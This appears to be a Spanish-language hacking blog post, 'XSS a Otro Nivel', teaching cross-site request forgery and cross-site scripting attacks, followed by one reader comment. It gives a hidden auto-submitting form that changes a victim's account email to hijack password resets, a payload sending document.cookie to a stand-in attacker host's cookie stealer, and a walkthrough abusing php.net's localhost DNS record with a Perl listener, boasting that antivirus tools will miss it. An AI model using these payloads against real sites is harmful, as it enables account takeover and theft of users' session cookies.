XSS a Otro Nivel

Posted on 12:58 by Xianur0

XSS a Otro Nivel (Primera Parte)
Estas son mis técnicas de XSS no tan básicas:

Todos saben XSS aunque sea a un nivel muy básico, creo que muchos no pasan del clásico alert, pero bueno, intentare escribir un texto con un nivel un poco mas avanzado de tema y no me limitare solo a escribir de XSS en códigos webs, si no también en XSS en otros mecanismos.

XSRF

Cross-Site Request Forgery, es una técnica mediante la cual, con un solo clic se puede robar credenciales o información sensible sobre los usuarios (contraseñas, etcs...), ejemplo:

Supongamos que tenemos una web victima la cual tiene mas o menos el siguiente funcionamiento, el usuario tiene su panel, en el cual puede cambiar su dirección de correo, el cual se usa para digamos recuperar la contraseña, pero dicho formulario no contiene captcha ni nada similar... bueno ahora supongamos que usa un navegador que permite JS, un atacante puede pasarle un archivo en otro server, el cual al estar logeado el usuario, haga el envió de la petición y cambie el correo de la victima por el del atacante, y seguido de ello, envié un mensaje de recuperación de contraseña, entonces tendremos la password de la victima en nuestro correo. Esto seria mas o menos así:


Código:
<form name="formulario" action="http://victima.com/perfil.php" Method=POST>
<input type="hidden" name="email" value="uxmal666@gmail.com">
<input type="hidden" name="submit" value="enviar">
<SCRIPT>document.submit();</SCRIPT></form>

(aquí solo faltaría enviar el mensaje de recuperación de la password jeje)

Esta es mas o menos la esencia de esta clase de ataques, en si el usuario no notara que le están enviando un archivo que le robara su contraseña tan fácilmente, por que no aparece el intento de ataque en la barra de direcciones como comúnmente sucede con los XSS comunes. Tambien podemos usar un XSRF para mejorar un ataque XSS:


Código:
<form name='formulario' action='http://victima.com/login.php?user='><script>document.location = 'http://www.atacante.com/cookiestealer.php?cookie=' + document.cookie' Method=GET>
<SCRIPT>document.submit();</SCRIPT></form>


Errores DNS, un poco de ingeniería social y XSRF en un solo ataque (XSS Mixto):

Bueno esta técnica se me ocurrió hace mucho, dudo ser el único que la emplea, pero esta es una forma bastante especial de atacar.
Atacando php.net (muestra del ataque, sin motivos de conflicto):

Buscamos un perfil sensible en el DNS, en este caso he detectado esto:

Citar
[-]Intentando Ataque AXFR....: Usando: remote1.easydns.com
No se Logro Obtener Zonas :(...Detectando Comodin en Registros A...
No Se Detecto Comodin :).
Probando DNS Brutes Forces:
www.php.net existe!
www2.php.net existe!
localhost.php.net existe!
mail.php.net existe!
mx.php.net existe!
news.php.net existe!
cl.php.net existe!
es.php.net existe!
docs.php.net existe!
doc.php.net existe!

Ahora resolvemos la IP:

Código:
Xianur0 ~ # nslookup localhost.php.net
Server: 10.0.116.129
Address: 10.0.116.129#53

Non-authoritative answer:
Name: localhost.php.net
Address: 127.0.0.1

127.0.0.1 jejeje..

Ponemos al netcat a la escucha en el 80, y entramos a esa dirección:

Código:
Xianur0 ~ # nc -vvvlp 80
listening on [any] 80 ...
connect to [127.0.0.1] from Xianur0 [127.0.0.1] 34640
GET / HTTP/1.1
Host: localhost.php.net
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Ok, tenemos al navegador hacia la IP local...
Creamos el tester:
#!/usr/bin/perl
#Tester XSS Mixto By Xianur0 (<script>alert(document.cookie)</script>)

use Socket;
my $port = 80;
my $proto = getprotobyname('tcp');
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "Error: $!";
my $paddr = sockaddr_in($port, INADDR_ANY);
bind(SERVER, $paddr) or die "Error: $!";
listen(SERVER, SOMAXCONN) or die "Error: $!";
my $client_addr;
system("firefox http://localhost.php.net");
while ($client_addr = accept(CLIENT, SERVER))
{
print CLIENT "<script>alert(document.cookie)</script>";
close CLIENT;
}


y plop, nos abrirá el firefox con un alert() mostrando la cookie que tenemos en php.net (si es que tenemos).

podemos hacer un ejecutable (linux o windows) y los antivirus lo pasaran como si nada, por el simple hecho de que no hace conexiones externas, ya que usa como motor a los navegadores, pueden adaptar el código para que funcione con todos los navegadores y para que no solo lance un alert jejeje....

nota: la mayor parte de las webs de internet tienen configuraciones DNS similares a la que mostre arriba.

1 comentarios:

Anónimo dijo...

oie bro en el tema de xss a otro nivel tengo que hacer aparte el codigo de cookiestaler verdad? veo que no lo pusiste y solo quiero saber si aun asi funciona